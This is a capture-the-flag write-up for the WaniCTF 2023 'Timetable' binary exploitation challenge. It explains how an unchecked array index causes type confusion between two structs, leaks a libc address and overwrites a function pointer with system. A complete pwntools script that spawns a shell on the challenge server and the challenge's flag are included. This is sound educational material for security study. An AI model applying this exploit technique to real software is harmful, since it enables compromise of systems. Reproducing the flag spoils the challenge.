Skip to content

Timetable

In WaniCTF 2023, 294 points

Is your timetable alright? nc timetable-pwn.wanictf.org 9008

Challenge files: pwn-TimeTable.zip

The program allows the user to select certain classes to be added to a timetable.

Each class is represented by a comma struct:

c
typedef struct {
  char *name;
  int type;
  void *detail;
} comma;

The type field is 0 if the class is an elective and 1 if the class is mandatory.

The detail pointer points to either a mandatory_subject struct or an elective_subject struct:

c
typedef struct {
  char *name;
  int time[2];
  char *target[4];
  char memo[32];
  char *professor;
} mandatory_subject;

typedef struct {
  char *name;
  int time[2];
  char memo[32];
  char *professor;
  int (*IsAvailable)(student *);
} elective_subject;

The IsAvailable function pointer takes a pointer to a student struct:

c
typedef struct {
  char name[10];
  int studentNumber;
  int EnglishScore;
} student;

This function pointer is called to determine if a student can take a specific elective:

c
void register_elective_class() {
  int i;
  elective_subject choice;
  print_table(timetable);
  printf("-----Elective Class List-----\n");
  print_elective_list();
  printf(">");
  scanf("%d", &i);
  choice = elective_list[i];
  if (choice.IsAvailable(&user) == 1) { // here!
    timetable[choice.time[0]][choice.time[1]].name = choice.name;
    // The type of timetable is 0 by default since it is a global value.
    timetable[choice.time[0]][choice.time[1]].detail = &elective_list[i];
  } else {
    printf("You can't register this class\n");
  }
}

Since we control the name of the student, overwriting the IsAvailable pointer to system would allow us to achieve RCE.

The available subjects are already preinitialized:

c
mandatory_subject mandatory_list[3] = {computer_system, digital_circuit,
                                       system_control};
elective_subject elective_list[2] = {world, intellect};

Type confusion

The existence of a void* that can point to two different structs, including one with a function pointer, is pretty suspicious, especially in the context of a CTF challenge.

Here's the two structs side by side so we can better visualize how they overlap:

image-20230505224254896.png

We observe that the memo char array of the mandatory_subject struct overlaps nicely with the function pointer in the elective_subject struct.

Now, we just need to find somewhere in the code that results in type confusion.

Array OOB access

This opportunity is provided in the register_mandatory_class function:

c
void register_mandatory_class() {
  int i;
  mandatory_subject choice;
  print_table(timetable);
  printf("-----Mandatory Class List-----\n");
  print_mandatory_list();
  printf(">");
  scanf("%d", &i);
  choice = mandatory_list[i]; // !!!!

  printf("%d\n", choice.time[0]);
  timetable[choice.time[0]][choice.time[1]].name = choice.name;
  timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE;
  timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i];
}

There is no bounds checking performed when retrieving a mandatory class from the list.

Since the mandatory_list is located at 0x4050C0 and the elective_list is located at 0x4051E0, 288 bytes away. Unfortunately, 288 is not evenly divisible by 88, the size of a mandatory_subject struct. So we have to target the next item in the elective_list, "The World of Intellect", which is located at 0x405220. This subject can be perfectly accessed using index 4 (0x405220-0x4050C0 == 88 * 4).

Exploitation

Remember how the memo char array of a mandatory_subject overlaps the function pointer of an elective_subject? Luckily for us, there are functions that allow us to read and write the memo field of a subject:

c
void write_memo() {
  comma *choice = choose_time(timetable);
  printf("WRITE MEMO FOR THE CLASS\n");

  if (choice->type == MANDATORY_CLASS_CODE) {
    read(0, ((mandatory_subject *)choice->detail)->memo, 30);
  } else if (choice->type == ELECTIVE_CLASS_CODE) {
    read(0, ((elective_subject *)choice->detail)->memo, 30);
  }
}

void print_mandatory_subject(mandatory_subject *mandatory_subjects) {
  printf("Class Name : %s\n", mandatory_subjects->name);
  // ...
  // ...
  printf("Short Memo : %s\n", mandatory_subjects->memo);
}

But before we can overwrite the function pointer to system, we would first need to leak a libc address.

Luckily for us, "The World of Intellect" is the last element in the elective_subject array, which borders the bss region. The first symbol in the BSS region is stdout@GLIBC_2.2.5, which is a pointer to _IO_2_1_stdout_, the stdout file stream object located in libc:

image-20230506084413884.png

By using the type confusion vulnerability, we can completely overwrite the elective's subject prof pointer and the function pointer. Thus, when the memo array is printed, the value of stdout@GLIBC_2.2.5 will be leaked as well, allowing us to determine the libc base address:

image-20230506085017801.png

Now, all that's left is to overwrite the function pointer to system and register the elective to trigger a call to system("/bin/sh").

Solve script

python
from pwn import *

e = ELF("chall")
libc = ELF("libc.so.6", checksec=False)
context.binary = e

def setup():
    p = remote("timetable-pwn.wanictf.org",9008)
    return p

if __name__ == '__main__':
    p = setup()
    safe_ptr = 0x0000000040314a

    # Register user with name /bin/sh
    p.sendline("/bin/sh")
    p.sendline("0")
    p.sendline("0")
    p.sendline("0")
    # register elective as mandatory class
    p.sendline("1")
    p.sendline("4")
    # Edit memo
    p.sendline("4")
    p.sendline("FRI 3")
    p.send(b"A"*16)
    p.clean()
    # Leak libc
    p.sendline("3")
    p.sendline("FRI 3")
    p.recvuntil("Short Memo : AAAAAAAAAAAAAAAA")
    l = u64(p.recvline()[:-1]+b"\0\0")
    libc.address = l - libc.sym._IO_2_1_stdout_
    print(hex(libc.address))


    # Edit memo to overwrite function pointer
    p.sendline("4")
    p.sendline("FRI 3")
    p.send(p64(safe_ptr)+p64(libc.sym.system))
    p.clean()

    # Register elective to trigger system("/bin/sh")
    p.sendline("2")
    p.sendline("1")


    p.interactive()

Flag

FLAG{Do_n0t_confus3_mandatory_and_el3ctive}